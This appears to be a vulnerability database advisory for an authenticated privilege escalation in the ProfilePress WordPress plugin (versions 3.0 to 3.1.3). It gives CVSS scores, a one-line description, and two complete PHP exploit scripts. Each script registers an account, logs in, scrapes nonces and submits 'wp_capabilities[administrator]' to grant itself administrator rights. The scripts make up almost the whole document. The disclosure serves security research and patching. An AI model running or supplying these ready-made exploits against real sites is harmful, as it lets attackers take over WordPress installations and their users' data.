ProfilePress 3.0 - 3.1.3 - Authenticated Privilege Escalation

2021-06-2800:00:00

Chloe Chamberland

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

JSON

The user profile update functionality of the plugin allowed arbitrary user meta to be supplied, including wp_capabilities, during a profile update which made it possible for users to escalate their privileges to that of an an administrator.

<?php

// Settings
$wp_url = $argv[1];

$proxy = '127.0.0.1:8081';

// Create User
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'reg_email' => '[email protected]',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r3',
    'reg_last_name' => 'hack',
    'action' => 'pp_ajax_signup',
    'melange_id' => '',
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

echo "Log in as newly created user";
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'pp_ajax_login',
    'data' => 'login_username=hax0r3&login_password=password'
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

//Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/account/edit-profile/');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);

//Nonce
preg_match('/"nonce":"([^"]+)"/', $content, $matches);
$nonce = $matches[1];

preg_match('/value="Save Changes"><input type="hidden" id="_wpnonce" name="_wpnonce" value="([^"]+)"/', $content, $matches);
$wpnonce = $matches[1];

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'eup_email' => '[email protected]',
    'eup_first_name' => 'Hax0r3',
    'eup_nickname' => 'Hax0r',
    'eup_display_name' => 'Hax0r',
    'eup_last_name' => 'hack',
    '_wpnonce' => $wpnonce,
    'nonce' => $nonce,
    'ppmyac_form_action' => 'updateProfile',
    'action' => 'pp_ajax_editprofile',
    'is_melange' => 'true',
    'wp_capabilities[administrator]' => '1'

]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>

or 

<?php

// Settings
$wp_url = $argv[1];

$proxy = '127.0.0.1:8081';

// Create User
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'reg_email' => '[email protected]',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r3',
    'reg_last_name' => 'hack',
    'action' => 'pp_ajax_signup',
    'melange_id' => '',
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

echo "Log in as newly created user";
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'pp_ajax_login',
    'data' => 'login_username=hax0r3&login_password=password'
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

//Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/account/edit-profile/');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);

//Nonce
preg_match('/"nonce":"([^"]+)"/', $content, $matches);
$nonce = $matches[1];

preg_match('/value="Save Changes"><input type="hidden" id="_wpnonce" name="_wpnonce" value="([^"]+)"/', $content, $matches);
$wpnonce = $matches[1];

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r3',
    'eup_email' => '[email protected]',
    'eup_first_name' => 'Hax0r3',
    'eup_nickname' => 'Hax0r',
    'eup_display_name' => 'Hax0r',
    'eup_last_name' => 'hack',
    '_wpnonce' => $wpnonce,
    'nonce' => $nonce,
    'ppmyac_form_action' => 'updateProfile',
    'eup_submit' => '1',
    'is_melange' => 'true',
    'wp_capabilities[administrator]' => '1'

]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>